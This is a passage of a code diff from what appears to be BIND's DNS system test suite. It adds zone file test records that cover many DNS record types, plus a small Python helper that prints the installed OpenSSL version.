+biganswer.example8.	3600	IN	A	10.10.45.28
+biganswer.example8.	3600	IN	A	10.10.45.29
+biganswer.example8.	3600	IN	A	10.10.45.30
+biganswer.example8.	3600	IN	A	10.10.45.31
+biganswer.example8.	3600	IN	A	10.10.45.32
+biganswer.example8.	3600	IN	A	10.10.45.33
+biganswer.example8.	3600	IN	A	10.10.45.34
+biganswer.example8.	3600	IN	A	10.10.45.35
+biganswer.example8.	3600	IN	A	10.10.45.36
+biganswer.example8.	3600	IN	A	10.10.45.37
+biganswer.example8.	3600	IN	A	10.10.45.38
+biganswer.example8.	3600	IN	A	10.10.45.39
+biganswer.example8.	3600	IN	A	10.10.45.40
+biganswer.example8.	3600	IN	A	10.10.45.41
+biganswer.example8.	3600	IN	A	10.10.45.42
+biganswer.example8.	3600	IN	A	10.10.45.43
+biganswer.example8.	3600	IN	A	10.10.45.44
+biganswer.example8.	3600	IN	A	10.10.45.45
+biganswer.example8.	3600	IN	A	10.10.45.46
+biganswer.example8.	3600	IN	A	10.10.45.47
+biganswer.example8.	3600	IN	A	10.10.45.48
+biganswer.example8.	3600	IN	A	10.10.45.49
+biganswer.example8.	3600	IN	A	10.10.45.50
+biganswer.example8.	3600	IN	A	10.10.46.1
+biganswer.example8.	3600	IN	A	10.10.46.2
+biganswer.example8.	3600	IN	A	10.10.46.3
+biganswer.example8.	3600	IN	A	10.10.46.4
+biganswer.example8.	3600	IN	A	10.10.46.5
+biganswer.example8.	3600	IN	A	10.10.46.6
+biganswer.example8.	3600	IN	A	10.10.46.7
+biganswer.example8.	3600	IN	A	10.10.46.8
+biganswer.example8.	3600	IN	A	10.10.46.9
+biganswer.example8.	3600	IN	A	10.10.46.10
+biganswer.example8.	3600	IN	A	10.10.46.11
+biganswer.example8.	3600	IN	A	10.10.46.12
+biganswer.example8.	3600	IN	A	10.10.46.13
+biganswer.example8.	3600	IN	A	10.10.46.14
+biganswer.example8.	3600	IN	A	10.10.46.15
+biganswer.example8.	3600	IN	A	10.10.46.16
+biganswer.example8.	3600	IN	A	10.10.46.17
+biganswer.example8.	3600	IN	A	10.10.46.18
+biganswer.example8.	3600	IN	A	10.10.46.19
+biganswer.example8.	3600	IN	A	10.10.46.20
+biganswer.example8.	3600	IN	A	10.10.46.21
+biganswer.example8.	3600	IN	A	10.10.46.22
+biganswer.example8.	3600	IN	A	10.10.46.23
+biganswer.example8.	3600	IN	A	10.10.46.24
+biganswer.example8.	3600	IN	A	10.10.46.25
+biganswer.example8.	3600	IN	A	10.10.46.26
+biganswer.example8.	3600	IN	A	10.10.46.27
+biganswer.example8.	3600	IN	A	10.10.46.28
+biganswer.example8.	3600	IN	A	10.10.46.29
+biganswer.example8.	3600	IN	A	10.10.46.30
+biganswer.example8.	3600	IN	A	10.10.46.31
+biganswer.example8.	3600	IN	A	10.10.46.32
+biganswer.example8.	3600	IN	A	10.10.46.33
+biganswer.example8.	3600	IN	A	10.10.46.34
+biganswer.example8.	3600	IN	A	10.10.46.35
+biganswer.example8.	3600	IN	A	10.10.46.36
+biganswer.example8.	3600	IN	A	10.10.46.37
+biganswer.example8.	3600	IN	A	10.10.46.38
+biganswer.example8.	3600	IN	A	10.10.46.39
+biganswer.example8.	3600	IN	A	10.10.46.40
+biganswer.example8.	3600	IN	A	10.10.46.41
+biganswer.example8.	3600	IN	A	10.10.46.42
+biganswer.example8.	3600	IN	A	10.10.46.43
+biganswer.example8.	3600	IN	A	10.10.46.44
+biganswer.example8.	3600	IN	A	10.10.46.45
+biganswer.example8.	3600	IN	A	10.10.46.46
+biganswer.example8.	3600	IN	A	10.10.46.47
+biganswer.example8.	3600	IN	A	10.10.46.48
+biganswer.example8.	3600	IN	A	10.10.46.49
+biganswer.example8.	3600	IN	A	10.10.46.50
+biganswer.example8.	3600	IN	A	10.10.47.1
+biganswer.example8.	3600	IN	A	10.10.47.2
+biganswer.example8.	3600	IN	A	10.10.47.3
+biganswer.example8.	3600	IN	A	10.10.47.4
+biganswer.example8.	3600	IN	A	10.10.47.5
+biganswer.example8.	3600	IN	A	10.10.47.6
+biganswer.example8.	3600	IN	A	10.10.47.7
+biganswer.example8.	3600	IN	A	10.10.47.8
+biganswer.example8.	3600	IN	A	10.10.47.9
+biganswer.example8.	3600	IN	A	10.10.47.10
+biganswer.example8.	3600	IN	A	10.10.47.11
+biganswer.example8.	3600	IN	A	10.10.47.12
+biganswer.example8.	3600	IN	A	10.10.47.13
+biganswer.example8.	3600	IN	A	10.10.47.14
+biganswer.example8.	3600	IN	A	10.10.47.15
+biganswer.example8.	3600	IN	A	10.10.47.16
+biganswer.example8.	3600	IN	A	10.10.47.17
+biganswer.example8.	3600	IN	A	10.10.47.18
+biganswer.example8.	3600	IN	A	10.10.47.19
+biganswer.example8.	3600	IN	A	10.10.47.20
+biganswer.example8.	3600	IN	A	10.10.47.21
+biganswer.example8.	3600	IN	A	10.10.47.22
+biganswer.example8.	3600	IN	A	10.10.47.23
+biganswer.example8.	3600	IN	A	10.10.47.24
+biganswer.example8.	3600	IN	A	10.10.47.25
+biganswer.example8.	3600	IN	A	10.10.47.26
+biganswer.example8.	3600	IN	A	10.10.47.27
+biganswer.example8.	3600	IN	A	10.10.47.28
+biganswer.example8.	3600	IN	A	10.10.47.29
+biganswer.example8.	3600	IN	A	10.10.47.30
+biganswer.example8.	3600	IN	A	10.10.47.31
+biganswer.example8.	3600	IN	A	10.10.47.32
+biganswer.example8.	3600	IN	A	10.10.47.33
+biganswer.example8.	3600	IN	A	10.10.47.34
+biganswer.example8.	3600	IN	A	10.10.47.35
+biganswer.example8.	3600	IN	A	10.10.47.36
+biganswer.example8.	3600	IN	A	10.10.47.37
+biganswer.example8.	3600	IN	A	10.10.47.38
+biganswer.example8.	3600	IN	A	10.10.47.39
+biganswer.example8.	3600	IN	A	10.10.47.40
+biganswer.example8.	3600	IN	A	10.10.47.41
+biganswer.example8.	3600	IN	A	10.10.47.42
+biganswer.example8.	3600	IN	A	10.10.47.43
+biganswer.example8.	3600	IN	A	10.10.47.44
+biganswer.example8.	3600	IN	A	10.10.47.45
+biganswer.example8.	3600	IN	A	10.10.47.46
+biganswer.example8.	3600	IN	A	10.10.47.47
+biganswer.example8.	3600	IN	A	10.10.47.48
+biganswer.example8.	3600	IN	A	10.10.47.49
+biganswer.example8.	3600	IN	A	10.10.47.50
+biganswer.example8.	3600	IN	A	10.10.48.1
+biganswer.example8.	3600	IN	A	10.10.48.2
+biganswer.example8.	3600	IN	A	10.10.48.3
+biganswer.example8.	3600	IN	A	10.10.48.4
+biganswer.example8.	3600	IN	A	10.10.48.5
+biganswer.example8.	3600	IN	A	10.10.48.6
+biganswer.example8.	3600	IN	A	10.10.48.7
+biganswer.example8.	3600	IN	A	10.10.48.8
+biganswer.example8.	3600	IN	A	10.10.48.9
+biganswer.example8.	3600	IN	A	10.10.48.10
+biganswer.example8.	3600	IN	A	10.10.48.11
+biganswer.example8.	3600	IN	A	10.10.48.12
+biganswer.example8.	3600	IN	A	10.10.48.13
+biganswer.example8.	3600	IN	A	10.10.48.14
+biganswer.example8.	3600	IN	A	10.10.48.15
+biganswer.example8.	3600	IN	A	10.10.48.16
+biganswer.example8.	3600	IN	A	10.10.48.17
+biganswer.example8.	3600	IN	A	10.10.48.18
+biganswer.example8.	3600	IN	A	10.10.48.19
+biganswer.example8.	3600	IN	A	10.10.48.20
+biganswer.example8.	3600	IN	A	10.10.48.21
+biganswer.example8.	3600	IN	A	10.10.48.22
+biganswer.example8.	3600	IN	A	10.10.48.23
+biganswer.example8.	3600	IN	A	10.10.48.24
+biganswer.example8.	3600	IN	A	10.10.48.25
+biganswer.example8.	3600	IN	A	10.10.48.26
+biganswer.example8.	3600	IN	A	10.10.48.27
+biganswer.example8.	3600	IN	A	10.10.48.28
+biganswer.example8.	3600	IN	A	10.10.48.29
+biganswer.example8.	3600	IN	A	10.10.48.30
+biganswer.example8.	3600	IN	A	10.10.48.31
+biganswer.example8.	3600	IN	A	10.10.48.32
+biganswer.example8.	3600	IN	A	10.10.48.33
+biganswer.example8.	3600	IN	A	10.10.48.34
+biganswer.example8.	3600	IN	A	10.10.48.35
+biganswer.example8.	3600	IN	A	10.10.48.36
+biganswer.example8.	3600	IN	A	10.10.48.37
+biganswer.example8.	3600	IN	A	10.10.48.38
+biganswer.example8.	3600	IN	A	10.10.48.39
+biganswer.example8.	3600	IN	A	10.10.48.40
+biganswer.example8.	3600	IN	A	10.10.48.41
+biganswer.example8.	3600	IN	A	10.10.48.42
+biganswer.example8.	3600	IN	A	10.10.48.43
+biganswer.example8.	3600	IN	A	10.10.48.44
+biganswer.example8.	3600	IN	A	10.10.48.45
+biganswer.example8.	3600	IN	A	10.10.48.46
+biganswer.example8.	3600	IN	A	10.10.48.47
+biganswer.example8.	3600	IN	A	10.10.48.48
+biganswer.example8.	3600	IN	A	10.10.48.49
+biganswer.example8.	3600	IN	A	10.10.48.50
+biganswer.example8.	3600	IN	A	10.10.49.1
+biganswer.example8.	3600	IN	A	10.10.49.2
+biganswer.example8.	3600	IN	A	10.10.49.3
+biganswer.example8.	3600	IN	A	10.10.49.4
+biganswer.example8.	3600	IN	A	10.10.49.5
+biganswer.example8.	3600	IN	A	10.10.49.6
+biganswer.example8.	3600	IN	A	10.10.49.7
+biganswer.example8.	3600	IN	A	10.10.49.8
+biganswer.example8.	3600	IN	A	10.10.49.9
+biganswer.example8.	3600	IN	A	10.10.49.10
+biganswer.example8.	3600	IN	A	10.10.49.11
+biganswer.example8.	3600	IN	A	10.10.49.12
+biganswer.example8.	3600	IN	A	10.10.49.13
+biganswer.example8.	3600	IN	A	10.10.49.14
+biganswer.example8.	3600	IN	A	10.10.49.15
+biganswer.example8.	3600	IN	A	10.10.49.16
+biganswer.example8.	3600	IN	A	10.10.49.17
+biganswer.example8.	3600	IN	A	10.10.49.18
+biganswer.example8.	3600	IN	A	10.10.49.19
+biganswer.example8.	3600	IN	A	10.10.49.20
+biganswer.example8.	3600	IN	A	10.10.49.21
+biganswer.example8.	3600	IN	A	10.10.49.22
+biganswer.example8.	3600	IN	A	10.10.49.23
+biganswer.example8.	3600	IN	A	10.10.49.24
+biganswer.example8.	3600	IN	A	10.10.49.25
+biganswer.example8.	3600	IN	A	10.10.49.26
+biganswer.example8.	3600	IN	A	10.10.49.27
+biganswer.example8.	3600	IN	A	10.10.49.28
+biganswer.example8.	3600	IN	A	10.10.49.29
+biganswer.example8.	3600	IN	A	10.10.49.30
+biganswer.example8.	3600	IN	A	10.10.49.31
+biganswer.example8.	3600	IN	A	10.10.49.32
+biganswer.example8.	3600	IN	A	10.10.49.33
+biganswer.example8.	3600	IN	A	10.10.49.34
+biganswer.example8.	3600	IN	A	10.10.49.35
+biganswer.example8.	3600	IN	A	10.10.49.36
+biganswer.example8.	3600	IN	A	10.10.49.37
+biganswer.example8.	3600	IN	A	10.10.49.38
+biganswer.example8.	3600	IN	A	10.10.49.39
+biganswer.example8.	3600	IN	A	10.10.49.40
+biganswer.example8.	3600	IN	A	10.10.49.41
+biganswer.example8.	3600	IN	A	10.10.49.42
+biganswer.example8.	3600	IN	A	10.10.49.43
+biganswer.example8.	3600	IN	A	10.10.49.44
+biganswer.example8.	3600	IN	A	10.10.49.45
+biganswer.example8.	3600	IN	A	10.10.49.46
+biganswer.example8.	3600	IN	A	10.10.49.47
+biganswer.example8.	3600	IN	A	10.10.49.48
+biganswer.example8.	3600	IN	A	10.10.49.49
+biganswer.example8.	3600	IN	A	10.10.49.50
+biganswer.example8.	3600	IN	A	10.10.50.1
+biganswer.example8.	3600	IN	A	10.10.50.2
+biganswer.example8.	3600	IN	A	10.10.50.3
+biganswer.example8.	3600	IN	A	10.10.50.4
+biganswer.example8.	3600	IN	A	10.10.50.5
+biganswer.example8.	3600	IN	A	10.10.50.6
+biganswer.example8.	3600	IN	A	10.10.50.7
+biganswer.example8.	3600	IN	A	10.10.50.8
+biganswer.example8.	3600	IN	A	10.10.50.9
+biganswer.example8.	3600	IN	A	10.10.50.10
+biganswer.example8.	3600	IN	A	10.10.50.11
+biganswer.example8.	3600	IN	A	10.10.50.12
+biganswer.example8.	3600	IN	A	10.10.50.13
+biganswer.example8.	3600	IN	A	10.10.50.14
+biganswer.example8.	3600	IN	A	10.10.50.15
+biganswer.example8.	3600	IN	A	10.10.50.16
+biganswer.example8.	3600	IN	A	10.10.50.17
+biganswer.example8.	3600	IN	A	10.10.50.18
+biganswer.example8.	3600	IN	A	10.10.50.19
+biganswer.example8.	3600	IN	A	10.10.50.20
+biganswer.example8.	3600	IN	A	10.10.50.21
+biganswer.example8.	3600	IN	A	10.10.50.22
+biganswer.example8.	3600	IN	A	10.10.50.23
+biganswer.example8.	3600	IN	A	10.10.50.24
+biganswer.example8.	3600	IN	A	10.10.50.25
+biganswer.example8.	3600	IN	A	10.10.50.26
+biganswer.example8.	3600	IN	A	10.10.50.27
+biganswer.example8.	3600	IN	A	10.10.50.28
+biganswer.example8.	3600	IN	A	10.10.50.29
+biganswer.example8.	3600	IN	A	10.10.50.30
+biganswer.example8.	3600	IN	A	10.10.50.31
+biganswer.example8.	3600	IN	A	10.10.50.32
+biganswer.example8.	3600	IN	A	10.10.50.33
+biganswer.example8.	3600	IN	A	10.10.50.34
+biganswer.example8.	3600	IN	A	10.10.50.35
+biganswer.example8.	3600	IN	A	10.10.50.36
+biganswer.example8.	3600	IN	A	10.10.50.37
+biganswer.example8.	3600	IN	A	10.10.50.38
+biganswer.example8.	3600	IN	A	10.10.50.39
+biganswer.example8.	3600	IN	A	10.10.50.40
+biganswer.example8.	3600	IN	A	10.10.50.41
+biganswer.example8.	3600	IN	A	10.10.50.42
+biganswer.example8.	3600	IN	A	10.10.50.43
+biganswer.example8.	3600	IN	A	10.10.50.44
+biganswer.example8.	3600	IN	A	10.10.50.45
+biganswer.example8.	3600	IN	A	10.10.50.46
+biganswer.example8.	3600	IN	A	10.10.50.47
+biganswer.example8.	3600	IN	A	10.10.50.48
+biganswer.example8.	3600	IN	A	10.10.50.49
+biganswer.example8.	3600	IN	A	10.10.50.50
+caa01.example8.		3600	IN	CAA	0 issue "ca.example.net; policy=ev"
+caa02.example8.		3600	IN	CAA	128 tbs "Unknown"
+caa03.example8.		3600	IN	CAA	128 tbs ""
+cdnskey01.example8.	3600	IN	CDNSKEY	512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8=
+cds01.example8.		3600	IN	CDS	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
+cert01.example8.	3600	IN	CERT	65534 65535 PRIVATEOID MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY=
+cname01.example8.	3600	IN	CNAME	cname-target.
+cname02.example8.	3600	IN	CNAME	cname-target.example8.
+cname03.example8.	3600	IN	CNAME	.
+csync01.example8.	3600	IN	CSYNC	0 0 A NS AAAA
+csync02.example8.	3600	IN	CSYNC	0 0
+dhcid01.example8.	3600	IN	DHCID	AAIBY2/AuCccgoJbsaxcQc9TUapptP69lOjxfNuVAA2kjEA=
+dhcid02.example8.	3600	IN	DHCID	AAEBOSD+XR3Os/0LozeXVqcNc7FwCfQdWL3b/NaiUDlW2No=
+dhcid03.example8.	3600	IN	DHCID	AAABxLmlskllE0MVjd57zHcWmEH3pCQ6VytcKD//7es/deY=
+dlv.example8.		3600	IN	DLV	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
+dname01.example8.	3600	IN	DNAME	dname-target.
+dname02.example8.	3600	IN	DNAME	dname-target.example8.
+dname03.example8.	3600	IN	DNAME	.
+dnskey01.example8.	3600	IN	DNSKEY	512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8=
+doa01.example8.		3600	IN	DOA	1234567890 1234567890 1 "image/gif" R0lGODlhKAAZAOMCAGZmZgBmmf///zOZzMz//5nM/zNmmWbM/5nMzMzMzACZ/////////////////////yH5BAEKAA8ALAAAAAAoABkAAATH8IFJK5U2a4337F5ogRkpnoCJrly7PrCKyh8c3HgAhzT35MDbbtO7/IJIHbGiOiaTxVTpSVWWLqNq1UVyapNS1wd3OAxug0LhnCubcVhsxysQnOt4ATpvvzHlFzl1AwODhWeFAgRpen5/UhheAYMFdUB4SFcpGEGGdQeCAqBBLTuSk30EeXd9pEsAbKGxjHqDSE0Sp6ixN4N1BJmbc7lIhmsBich1awPAjkY1SZR8bJWrz382SGqIBQQFQd4IsUTaX+ceuudPEQA7
+doa02.example8.		3600	IN	DOA	0 1 2 "" aHR0cHM6Ly93d3cuaXNjLm9yZy8=
+ds01.example8.		3600	IN	DS	12892 5 2 26584835CA80C81C91999F31CFAF2A0E89D4FF1C8FAFD0DDB31A85C7 19277C13
+ds01.example8.		3600	IN	NS	ns42.example8.
+ds02.example8.		3600	IN	DS	12892 5 1 7AA4A3F416C2F2391FB7AB0D434F762CD62D1390
+ds02.example8.		3600	IN	NS	ns43.example8.
+eid01.example8.		3600	IN	EID	1289AB
+eui48.example8.		3600	IN	EUI48	01-23-45-67-89-ab
+eui64.example8.		3600	IN	EUI64	01-23-45-67-89-ab-cd-ef
+gid01.example8.		3600	IN	GID	\# 1 03
+gpos01.example8.	3600	IN	GPOS	"-22.6882" "116.8652" "250.0"
+gpos02.example8.	3600	IN	GPOS	"" "" ""
+hinfo01.example8.	3600	IN	HINFO	"Generic PC clone" "NetBSD-1.4"
+hinfo02.example8.	3600	IN	HINFO	"PC" "NetBSD"
+hip1.example8.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D
+hip2.example8.		3600	IN	HIP	2 200100107B1A74DF365639CC39F1D578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com.
+https0.example8.	3600	IN	HTTPS	0 example.net.
+https1.example8.	3600	IN	HTTPS	1 . port=60
+ipseckey01.example8.	3600	IN	IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
+ipseckey02.example8.	3600	IN	IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
+ipseckey03.example8.	3600	IN	IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
+ipseckey04.example8.	3600	IN	IPSECKEY 10 3 2 mygateway.example.com. AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
+ipseckey05.example8.	3600	IN	IPSECKEY 10 2 2 2001:db8:0:8002::2000:1 AQNRU3mG7TVTO2BkR47usntb102uFJtugbo6BSGvgqt4AQ==
+isdn01.example8.	3600	IN	ISDN	"isdn-address"
+isdn02.example8.	3600	IN	ISDN	"isdn-address" "subaddress"
+isdn03.example8.	3600	IN	ISDN	"isdn-address"
+isdn04.example8.	3600	IN	ISDN	"isdn-address" "subaddress"
+keydata.example8.	3600	IN	TYPE65533 \# 0
+keydata.example8.	3600	IN	TYPE65533 \# 6 010203040506
+keydata.example8.	3600	IN	TYPE65533 \# 18 010203040506010203040506010203040506
+kx01.example8.		3600	IN	KX	10 kdc.example8.
+kx02.example8.		3600	IN	KX	10 .
+l32.example8.		3600	IN	L32	10 1.2.3.4
+l64.example8.		3600	IN	L64	10 14:4fff:ff20:ee64
+loc01.example8.		3600	IN	LOC	60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m
+loc02.example8.		3600	IN	LOC	60 9 0.000 N 24 39 0.000 E 10.00m 20m 2000m 20m
+lp.example8.		3600	IN	LP	10 example.net.
+mb01.example8.		3600	IN	MG	madname.example8.
+mb02.example8.		3600	IN	MG	.
+mg01.example8.		3600	IN	MG	mgmname.example8.
+mg02.example8.		3600	IN	MG	.
+minfo01.example8.	3600	IN	MINFO	rmailbx.example8. emailbx.example8.
+minfo02.example8.	3600	IN	MINFO	. .
+mr01.example8.		3600	IN	MR	mrname.example8.
+mr02.example8.		3600	IN	MR	.
+mx01.example8.		3600	IN	MX	10 mail.example8.
+mx02.example8.		3600	IN	MX	10 .
+naptr01.example8.	3600	IN	NAPTR	0 0 "" "" "" .
+naptr02.example8.	3600	IN	NAPTR	65535 65535 "blurgh" "blorf" "blllbb" foo.
+nid.example8.		3600	IN	NID	10 14:4fff:ff20:ee64
+nimloc01.example8.	3600	IN	NIMLOC	1289AB
+ninfo01.example8.	3600	IN	NINFO	"foo"
+ninfo02.example8.	3600	IN	NINFO	"foo" "bar"
+ninfo03.example8.	3600	IN	NINFO	"foo"
+ninfo04.example8.	3600	IN	NINFO	"foo" "bar"
+ninfo05.example8.	3600	IN	NINFO	"foo bar"
+ninfo06.example8.	3600	IN	NINFO	"foo bar"
+ninfo07.example8.	3600	IN	NINFO	"foo bar"
+ninfo08.example8.	3600	IN	NINFO	"foo\010bar"
+ninfo09.example8.	3600	IN	NINFO	"foo\010bar"
+ninfo10.example8.	3600	IN	NINFO	"foo bar"
+ninfo11.example8.	3600	IN	NINFO	"\"foo\""
+ninfo12.example8.	3600	IN	NINFO	"\"foo\""
+ninfo13.example8.	3600	IN	NINFO	"foo;"
+ninfo14.example8.	3600	IN	NINFO	"foo;"
+ninfo15.example8.	3600	IN	NINFO	"bar\\;"
+ns2.example8.		3600	IN	A	10.53.0.2
+nsap-ptr01.example8.	3600	IN	NSAP-PTR foo.
+nsap-ptr01.example8.	3600	IN	NSAP-PTR .
+nsap01.example8.	3600	IN	NSAP	0x47000580005a0000000001e133ffffff00016100
+nsap02.example8.	3600	IN	NSAP	0x47000580005a0000000001e133ffffff00016100
+nsec01.example8.	3600	IN	NSEC	a.secure.nil. NS SOA MX LOC RRSIG NSEC DNSKEY
+nsec02.example8.	3600	IN	NSEC	. NSAP-PTR NSEC
+nsec03.example8.	3600	IN	NSEC	. A
+nsec04.example8.	3600	IN	NSEC	. TYPE127
+openpgpkey.example8.	3600	IN	OPENPGPKEY AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8=
+ptr01.example8.		3600	IN	PTR	example8.
+px01.example8.		3600	IN	PX	65535 foo. bar.
+px02.example8.		3600	IN	PX	65535 . .
+rkey01.example8.	3600	IN	RKEY	0 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2od GWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60z yGW6LFe9r8n6paHrlG5ojqf0BaqHT+8=
+rp01.example8.		3600	IN	RP	mbox-dname.example8. txt-dname.example8.
+rp02.example8.		3600	IN	RP	. .
+rrsig01.example8.	3600	IN	RRSIG	NSEC 1 3 3600 20000102030405 19961211100908 2143 foo.nil. MxFcby9k/yvedMfQgKzhH5er0Mu/vILz45IkskceFGgiWCn/GxHhai6V AuHAoNUz4YoU1tVfSCSqQYn6//11U6Nld80jEeC8aTrO+KKmCaY=
+rt01.example8.		3600	IN	RT	0 intermediate-host.example8.
+rt02.example8.		3600	IN	RT	65535 .
+sink01.example8.	3600	IN	SINK	1 0 0
+sink02.example8.	3600	IN	SINK	8 0 2 l4ik
+smimea.example8.	3600	IN	SMIMEA	1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC
+spf01.example8.		3600	IN	SPF	"v=spf1 -all"
+spf02.example8.		3600	IN	SPF	"v=spf1" " -all"
+srv01.example8.		3600	IN	SRV	0 0 0 .
+srv02.example8.		3600	IN	SRV	65535 65535 65535 old-slow-box.example8.
+sshfp01.example8.	3600	IN	SSHFP	4 2 C76D8329954DA2835751E371544E963EFDA099080D6C58DD2BFD9A31 6E162C83
+sshfp02.example8.	3600	IN	SSHFP	1 2 BF29468C83AC58CCF8C85AB7B3BEB054ECF1E38512B8353AB36471FA 88961DCC
+svcb0.example8.		3600	IN	SVCB	0 example.net.
+svcb1.example8.		3600	IN	SVCB	1 . port=60
+ta.example8.		3600	IN	TA	30795 1 1 310D27F4D82C1FC2400704EA9939FE6E1CEAA3B9
+talink0.example8.	3600	IN	TALINK	. talink1.example8.
+talink1.example8.	3600	IN	TALINK	talink0.example8. talink2.example8.
+talink2.example8.	3600	IN	TALINK	talink2.example8. .
+tlsa.example8.		3600	IN	TLSA	1 1 2 92003BA34942DC74152E2F2C408D29ECA5A520E7F2E06BB944F4DCA3 46BAF63C1B177615D466F6C4B71C216A50292BD58C9EBDD2F74E38FE 51FFD48C43326CBC
+txt01.example8.		3600	IN	TXT	"foo"
+txt02.example8.		3600	IN	TXT	"foo" "bar"
+txt03.example8.		3600	IN	TXT	"foo"
+txt04.example8.		3600	IN	TXT	"foo" "bar"
+txt05.example8.		3600	IN	TXT	"foo bar"
+txt06.example8.		3600	IN	TXT	"foo bar"
+txt07.example8.		3600	IN	TXT	"foo bar"
+txt08.example8.		3600	IN	TXT	"foo\010bar"
+txt09.example8.		3600	IN	TXT	"foo\010bar"
+txt10.example8.		3600	IN	TXT	"foo bar"
+txt11.example8.		3600	IN	TXT	"\"foo\""
+txt12.example8.		3600	IN	TXT	"\"foo\""
+txt13.example8.		3600	IN	TXT	"foo;"
+txt14.example8.		3600	IN	TXT	"foo;"
+txt15.example8.		3600	IN	TXT	"bar\\;"
+uid01.example8.		3600	IN	UID	\# 1 02
+uinfo01.example8.	3600	IN	UINFO	\# 1 01
+unspec01.example8.	3600	IN	UNSPEC	\# 1 04
+uri01.example8.		3600	IN	URI	10 20 "https://www.isc.org/"
+uri02.example8.		3600	IN	URI	30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/"
+uri03.example8.		3600	IN	URI	30 40 ""
+wks01.example8.		3600	IN	WKS	10.0.0.1 6 0 1 2 21 23
+wks02.example8.		3600	IN	WKS	10.0.0.1 17 0 1 2 53
+wks03.example8.		3600	IN	WKS	10.0.0.2 6 65535
+x2501.example8.		3600	IN	X25	"123456789"
+zonemd01.example8.	3600	IN	ZONEMD	2019020700 1 1 C220B8A6ED5728A971902F7E3D4FD93ADEEA88B0453C2E8E8C863D46 5AB06CF34EB95B266398C98B59124FA239CB7EEB
+zonemd02.example8.	3600	IN	ZONEMD	2019020700 1 2 08CFA1115C7B948C4163A901270395EA226A930CD2CBCF2FA9A5E6EB 85F37C8A4E114D884E66F176EAB121CB02DB7D652E0CC4827E7A3204 F166B47E5613FD27
+8f1tmio9avcom2k0frp92lgcumak0cad.example8. 3600	IN NSEC3 1 0 10 D2CF0294C020CE6C 8FPNS2UCT7FBS643THP2B77PEQ77K6IU A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM
+kcd3juae64f9c5csl1kif1htaui7un0g.example8. 3600	IN NSEC3 1 0 10 D2CF0294C020CE6C KD5MN2M20340DGO0BL7NTSB8JP4BSC7E
+mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example8. 3600	IN NSEC3 1 0 10 D2CF0294C020CE6C MT38J6VG7S0SN5G17MCUF6IQIKFUAJ05 A AAAA RRSIG
+example8.		86400	IN	SOA	ns2.example8. hostmaster.example8. 1397051952 5 5 1814400 3600
diff --git a/bin/tests/system/doth/get_openssl_version.py b/bin/tests/system/doth/get_openssl_version.py
new file mode 100755
index 0000000000..f1d6f4bf00
--- /dev/null
+++ b/bin/tests/system/doth/get_openssl_version.py
@@ -0,0 +1,17 @@
+#!/usr/bin/env python
+
+# Copyright (C) Internet Systems Consortium, Inc. ("ISC")
+#
+# SPDX-License-Identifier: MPL-2.0
+#
+# This Source Code Form is subject to the terms of the Mozilla Public
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
+#
+# See the COPYRIGHT file distributed with this work for additional
+# information regarding copyright ownership.
+
+import ssl
+
+version = ssl.OPENSSL_VERSION_INFO
+print(version[0], version[1], version[2])
diff --git a/bin/tests/system/doth/ns1/named.conf.in b/bin/tests/system/doth/ns1/named.conf.in
index 6438b7bbe0..500675f587 100644
--- a/bin/tests/system/doth/ns1/named.conf.in
+++ b/bin/tests/system/doth/ns1/named.conf.in
@@ -1,9 +1,11 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
